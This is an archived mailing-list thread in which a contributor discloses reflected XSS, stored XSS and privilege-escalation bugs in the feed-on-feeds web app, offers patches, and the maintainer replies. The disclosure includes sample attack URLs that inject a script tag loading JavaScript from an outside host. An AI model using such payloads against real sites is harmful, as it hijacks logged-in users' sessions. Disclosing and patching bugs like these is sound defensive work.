Account Options

  1. Sign in
The old Google Groups will be going away soon.
Switch to the new Google Groups.
Google Groups Home
« Groups Home
Issue 69, 70 and 71 in feed-on-feeds: XSS and SQL Security Flaws
There are currently too many topics in this group that display first. To make this topic appear first, remove this option from another topic.
There was an error processing your request. Please try again.
flag
  2 messages - Collapse all  -  Translate all to Translated (View all originals)
The group you are posting to is a Usenet group. Messages posted to this group will make your email address visible to anyone on the Internet.
Your reply message has not been sent.
Your post was successful
 
From:
To:
Cc:
Followup To:
Add Cc | Add Followup-to | Edit Subject
Subject:
Validation:
For verification purposes please type the characters you see in the picture below or the numbers you hear by clicking the accessibility icon. Listen and type the numbers you hear
 
David Mazza  
View profile  
 More options May 18 2011, 2:33 pm
From: David Mazza <dmazz...@gmail.com>
Date: Wed, 18 May 2011 11:33:19 -0700 (PDT)
Local: Wed, May 18 2011 2:33 pm
Subject: Issue 69, 70 and 71 in feed-on-feeds: XSS and SQL Security Flaws

All patches are attached to the bugs reports in Google Code.
I'm combining all three bugs into this one email to lighten the load on
everybody's inbox.

http://code.google.com/p/feed-on-feeds/issues/detail?id=69

*What steps will reproduce the problem?*
1. If a user is logged into the system, an attacker can exploit add.php by sending the user a link with a script in the GET field.
2. If the user is logged in, then the attacker can execute any javascript code, including code loaded from a foreign website.
*What is the expected output? What do you see instead?*
This type of untrusted input should be rejected. Instead, it was echoed to the browser.
*Please use labels and text to provide additional information.*
This is a sample link that a logged in user could receive: http://VictimWebApp.com/add.php?rss_url="><SCRIPT <http://victimwebapp.com/add.php?rss_url=%22%3E%3CSCRIPT> SRC=http://ha.ckers.org/xss.js></SCRIPT
URL Encoded version:http://VictimWebApp.com/add.php?rss_url=%22%3E%3CSCRIPT%20SRC=http://... <http://victimwebapp.com/add.php?rss_url=%22%3E%3CSCRIPT%20SRC=http://...>
This script is not dangerous, it only demonstrates an XSS attack.
I have attached one potential fix. It should be noted that this attack can also work on POST fields, so I have fixed those as well

http://code.google.com/p/feed-on-feeds/issues/detail?id=70

*What steps will reproduce the problem?*
1. Using prefs.php, regular logged in users can add or delete other users by modifying POST fields in their request header.
2. An attacker could also trick a logged in user to click on a button hosted elsewhere with the POST data necessary to add or delete a user.
*What is the expected output? What do you see instead?*
Add/delete user requests should not be accepted from non-admin users (I assume).
*Please use labels and text to provide additional information.*
I fixed this issue by adding a check "fof_is_admin()" to each sensitive if statement.
The fix is attached. I've also attached a sample of a form that an attacker might use to trick a user. Note that this form could be hosted off-site.

http://code.google.com/p/feed-on-feeds/issues/detail?id=71

*What steps will reproduce the problem?*
1. If a user is logged in, an attacker can send him a link to add-tag.php with javascript in the tag GET field.
2. When the user goes back to the main page, if he has any items, the XSS script will be executed.
3. The script is stored in the Database, so it will continue affecting the user until the tag is deleted from the item or the database all together.
*What is the expected output? What do you see instead?*
add-tag.php should sanitize untrusted input. Instead, it accepts it and puts in into the database, even getting around fof_safe_query
*Please use labels and text to provide additional information.*
This could be solved in each file like add-tag.php, or in the fof-db.php file to prevent this bug from being exploited anywhere else. There are several other places where this is possible, but this is the most dangerous one that I found. All would be fixed with changes to fof_safe_query. I have attached changes below to address the problem. This could also be fixed with a prepared sql statement, but I have just used htmlentities to keep it compatible with older versions of PHP. This should also prevent and SQL Injection attack.

This is the url that an attacker could send to a logged-in user:
URL Encoded:http://VictimWebApp.com/add-tag.php?tag=%3CSCRIPT/SRC=http://ha.ckers... <http://victimwebapp.com/add-tag.php?tag=%3CSCRIPT/SRC=http://ha.ckers...>
The attacker does not necessarily need to correctly choose an item number, as long as the item number exists and the user is subscribed to it's feed. If an attacker can find a feed that all or most users would be subscribed to (like maybe the host site's feed) then this is an easy attack.

Note the comment:

I discovered that my patch destroys the feed importing function, so unfortunately the bug will have to be fixed in add-tag.php. I've attached a new patch.


 
You must Sign in before you can post messages.
To post a message you must first join this group.
Please update your nickname on the subscription settings page before posting.
You do not have the permission required to post.
Stephen Minutillo  
View profile  
 More options May 22 2011, 2:10 am
From: Stephen Minutillo <steveminuti...@gmail.com>
Date: Sat, 21 May 2011 23:10:23 -0700 (PDT)
Local: Sun, May 22 2011 2:10 am
Subject: Re: Issue 69, 70 and 71 in feed-on-feeds: XSS and SQL Security Flaws

  Thanks for finding and patching these XSS and privilege-escalation
holes.  For issue 70 I am going to use your patch as is, and for issue
69 and 71 I will solve the problem by using htmlentities() at the time
the content is output.

Steve

On May 18, 2:33 pm, David Mazza <dmazz...@gmail.com> wrote:


 
You must Sign in before you can post messages.
To post a message you must first join this group.
Please update your nickname on the subscription settings page before posting.
You do not have the permission required to post.
End of messages
« Back to Discussions Older topic »